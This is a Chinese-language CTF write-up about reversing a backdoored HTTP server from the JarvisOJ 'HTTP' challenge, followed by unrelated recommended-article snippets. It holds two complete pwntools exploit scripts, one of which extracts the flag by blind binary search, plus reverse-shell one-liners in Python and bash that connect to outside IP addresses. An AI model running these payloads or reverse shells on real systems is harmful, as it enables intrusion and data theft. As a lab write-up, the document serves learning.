[JarvisOJ][pwn]HTTP (Web服务器后门分析与利用)


简介 :

Try it here:
pwn.jarvisoj.com:9881

题目来源:cncert2016

[http.49cb96c66532dfb92e4879c8693436ff](https://dn.jarvisoj.com/challengefiles/http.49cb96c66532dfb92e4879c8693436ff)

分析 :

这个题其实并不能算是一个 pwn 题 , 个人认为将其归类为逆向更好一点

直接 IDA 载入 (为了方便讲解 , 这里将函数等符号进行了重命名 , 使其更容易理解)


Paste_Image.png

发现是一个标准的 socket 服务器模型 , 使用 fork 处理客户端请求 , 处理请求的函数为 handle , 内容如下 :
事实上这个程序是一个简单的 HTTP 服务器 , 监听 1807 端口
HTTP协议是一种 请求响应式 的协议 (对应于 : 命令响应式协议 (例如 SMTP/FTP 等...))
因此 Web 服务器需要读取并处理用户的请求 , 经过处理之后再将响应体返回给用户

Paste_Image.png

看一下处理用户请求的函数 :
首先将用户的输入分成两个部分 , 请求头和请求体 (HTTP包的请求头之后会紧跟两个连续的 \r\n 标志请求头的结束, 包体之后也同理)
这个函数中单独对 'User-agent: ' 这个响应头进行了处理

Paste_Image.png

如何处理 'User-agent: ' 的呢 ? 跟踪到这个函数 :
发现有 back 字样的字符串 , 这里也判断了响应头中是否存在 back 这个字段

Paste_Image.png

如果 User-agent 等于某一个特定的字符串而且响应头中存在 back 这个字段
那么就会调用 popen 函数 , 相当于可以在目标主机执行任意命令了

Paste_Image.png

这里有对 'User-agent' 字段进行判断 , 这里只是对 get_password 函数的返回结果进行循环的简单异或

Paste_Image.png

再看看 get_password 函数 , 这个函数并没有任何用户的输入进行处理
那么也就是说 , 这个函数实际上返回值是固定的 , 而且返回值是异或之前 password
我们需要得到这个 password , 那么我们其实完全可以不去逆向这个函数
我们只需要对这个程序进行动态调试 , 构造输入让程序执行 get_password 函数
然后直接在内存中查看这里的数据即可

Paste_Image.png
Paste_Image.png

这种将密文进行处理后和明文进行对比的模式其实并没有起到提高逆向难度的作用
因为攻击者只需要将处理密文的函数执行一遍就可以知道确切的返回值

如果是对明文进行处理 , 然后和加密的密文进行比对 , 这样的模式其实才有意义
这可以提高攻击者逆向算法的难度

根据上面的分析 , 我们需要向服务器发送一个 http 请求
如果要触发这个后门 , 我们需要在 http 请求头中包含 User-agent 字段以及 back 字段
其中 User-agent 字段是一个固定的字符串密码
back 字段为被执行的命令

当服务器收到这个请求之后 , 会执行这个命令 , 然后将命令执行的结果作为响应体的包体返回给客户端

其实这个题目并没有涉及到溢出或者是别的程序漏洞 , 这个题目的难点就在于如何分析程序的逻辑
应该归为一个逆向题感觉更合适一点

下面给出一个任意命令执行的脚本 (实际上就是利用这里的后门)


#!/usr/bin/env python

from pwn import *

context.log_level = 21


def get_password():
    counter = 0
    password = ""
    for i in "2016CCRT":
        password += chr(ord(i) ^ counter)
        counter += 1
    return password


def get_payload(command, password):
    payload = ""
    payload += "GET / HTTP/1.1\r\n"
    payload += "User-Agent: %s\r\n" % (password)
    payload += "back: %s\r\n" % (command)
    payload += "\r\n"
    payload += "\r\n"
    return payload


def send_payload(payload):
    Io = remote(HOST, PORT)
    Io.sendline(payload)
    result = Io.read()
    Io.close()
    return result


def execute(command):
    payload = get_payload(command, PASSWORD)
    print "[+] Payload : %s" % (repr(payload))
    return send_payload(payload)


PASSWORD = get_password()

DEBUG = True
# DEBUG = False

if DEBUG:
    HOST = "localhost"
    PORT = 1807
else:
    HOST = "pwn.jarvisoj.com"
    PORT = 9881

print execute("cat flag")

这里在利用的时候发现一个挺奇怪的现象
本地利用是可以成功执行 cat flag 命令并返回结果的
但是连接远程的话 , http 响应中没有命令执行的内容
只是在响应头中的 Content-Length 字段中保存了命令执行输出结果的长度
暂时还不明白原因 , 不过这一点并不影响我们最终拿到 flag

image.png
image.png

这里我们要拿到 flag 首先要确定的是 , 命令是不是真的执行了
可以通过执行 echo 几个不同长度的字符串来判断
经过判断 , 发现命令的确执行了 , 但是结果并没有显示在响应体中
那么这里命令没有回显 , 我们应该如何才可以拿到 flag 呢 ?
这里给出两个解决办法 :

方法一 : 反弹发送 flag

首先需要一台公网服务器去监听一个端口 , 
然后让目标服务器去执行 cat flag 命令 , 
并通过管道和 nc 命令将 cat flag 的输出结果发送给公网服务器的指定端口
优点 : 快速准确 , 直接执行任意命令
缺点 : 通用性不强 , 如果目标服务器不能连接公网 , 那么该方法彻底失效
image.png
image.png

方法二 :

由于我们可以在目标服务器上执行任意命令
虽然我们不能获得命令的执行结果
但是我们可以得到命令结果输出的长度
那么我们就可以使用 awk 等字符串处理命令来逐个字符读取 flag 
然后对这个字符进行判断是不是等于某一个字符
根据判断的结果产生不同的输出
我们就可以根据这个输出的不同来判断这个我们猜测的字符是不是正确 

另一个类似的思路 :

Paste_Image.png
程序在这里对响应体的长度进行了判断 , 如果为 0 则直接响应 HTTP 500 错误
我们其实也可以通过控制执行的命令在猜错的时候不输出任何数据
然后我们就可以通过响应码来判断是不是猜对了
事实上 , 只要我们可以构造输入让正确的猜测和错误的猜测会产生差异的输出就可以了
也就是 sql 注入中盲注的思想
优点 : 二分查找爆破 flag , 不受目标主机防火墙的限制
缺点 : 速度较慢 (在获取大量数据的时候劣势较为明显)
      在执行任意命令的时候需要修改命令 , 例如左右加上 `` 然后通过管道导入 awk
      只能逐个字节读取命令的输出 , 如果命令每次执行结果存在差异
      则该方法失效

下面给出第二种方法的利用脚本

image.png
#!/usr/bin/env python

from pwn import *
import os

context.log_level = 21


def get_password():
    counter = 0
    password = ""
    for i in "2016CCRT":
        password += chr(ord(i) ^ counter)
        counter += 1
    return password


def get_payload(command, password):
    payload = ""
    payload += "GET / HTTP/1.1\r\n"
    payload += "User-Agent: %s\r\n" % (password)
    payload += "back: %s\r\n" % (command)
    payload += "\r\n"
    payload += "\r\n"
    return payload


def send_payload(payload):
    Io = remote(HOST, PORT)
    Io.sendline(payload)
    result = Io.read()
    Io.close()
    return result


def execute(command):
    payload = get_payload(command, PASSWORD)
    print "[+] Payload : %s" % (repr(payload))
    return send_payload(payload)


def guess_one_byte(index, char):
    command = "cat flag|awk '{if(substr($1,%d,1)>\"%s\") print \"%s\"}'" % (
        index + 1, char, "A")
    print "[+] Executing : [%s]" % (command)
    response = execute(command)
    return (response[len("HTTP/1.1 ")] != "5")


def clear_screen():
    os.system("clear")


def guess(LENGTH):
    flag = ""
    for i in range(LENGTH + 1):
        RIGHT = 0x7F
        LEFT = 0x20
        P = (LEFT + RIGHT) / 2
        while True:
            clear_screen()
            print "[+] Flag : [%s]" % (flag)
            if guess_one_byte(i, chr(P)):
                LEFT = P
            else:
                RIGHT = P
            P = (LEFT + RIGHT) / 2
            print abs(RIGHT - LEFT)
            if abs(RIGHT - LEFT) < 2:
                flag += chr(P + 1)
                break
    clear_screen()
    print "[+] Flag : [%s]" % (flag)
    return flag


PASSWORD = get_password()

# DEBUG = True
DEBUG = False

if DEBUG:
    HOST = "localhost"
    PORT = 1807
else:
    HOST = "pwn.jarvisoj.com"
    PORT = 9881

LENGTH = 39

print guess(LENGTH)

后记 :
目标机器存在 python , 也可以利用 python 直接反弹 shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

再次后记 :
bash 反弹 shell

/bin/bash -c 'sh -i >& /dev/tcp/120.24.215.80/5555 0>&1'
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,100评论 18 139
  • 使用 HTTP 服务器或客户端功能必须调用require('http')。 Node 里的 HTTP 接口支持协议...
    保川阅读 1,308评论 0 1
  • 本篇文章篇幅比较长,先来个思维导图预览一下。 一、概述 1.计算机网络体系结构分层 2.TCP/IP 通信传输流 ...
    涤生_Woo阅读 54,503评论 24 555
  • 1. 网络基础TCP/IP HTTP基于TCP/IP协议族,HTTP属于它内部的一个子集。 把互联网相关联的协议集...
    yozosann阅读 3,405评论 0 20
  • 黄昏时听音乐是种特殊享受。那当儿,暮色浓深,屋里的一切都迷蒙模糊,没有什么具体清晰的形象映入眼帘,搅乱头脑;心...
    我心飞扬3666阅读 309评论 0 4